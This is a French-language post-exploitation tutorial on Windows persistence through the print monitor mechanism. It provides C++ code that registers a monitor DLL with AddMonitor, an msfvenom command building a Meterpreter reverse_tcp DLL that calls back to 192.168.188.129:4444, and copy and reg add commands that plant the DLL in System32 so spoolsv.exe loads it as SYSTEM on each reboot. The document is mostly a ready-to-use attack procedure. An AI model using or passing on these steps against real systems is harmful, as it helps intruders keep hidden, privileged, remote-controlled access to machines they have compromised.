
A old way to Persistence
Utilisé pour maintenir les privilèges pendant la phase de post-exploitation.
Step1 : Téléchargez ce projet, puis compilez Monitor.cpp avec Visual Studio (VS). Vous pouvez bien sûr aussi utiliser la version déjà compilée. Le code de Monitor.cpp est le suivant :
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
Step 2 : Générez la charge utile DLL avec Msfvenom :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

Step 3 : Copiez shell.dll dans le répertoire system32 de la machine cible, puis renommez-le en test.dll (c'est-à-dire le PDLLName ci-dessus ; vous pouvez bien sûr le remplacer par le nom de votre choix, libre à vous) :
copy C:\temp\shell.dll C:\Windows\System32\test.dll

Step 4 : Ensuite, accédez au répertoire system32 et exécutez la commande suivante (Monitors.exe est le fichier compilé précédemment ; il doit également être placé dans le répertoire system32) :
Monitors.exe

Step 5 : Vous recevez alors une session Meterpreter.

Pour assurer la persistance, nous devons définir une clé à l'emplacement de registre « Monitors » :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
Ensuite, exécutez la commande suivante dans l'invite de commandes pour créer une entrée de registre contenant la valeur test.dll. Vérifiez dans l'éditeur du registre que la clé a bien été créée :
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

Au prochain redémarrage, le processus spoolsv.exe chargera tous les fichiers DLL de pilotes présents dans l'entrée de registre Monitors et stockés dans le dossier System32 de Windows. L'image ci-dessous illustre que la session Meterpreter a établi des privilèges de même niveau que le service Print Spooler (SYSTEM) et a été exécutée depuis le dossier System32.
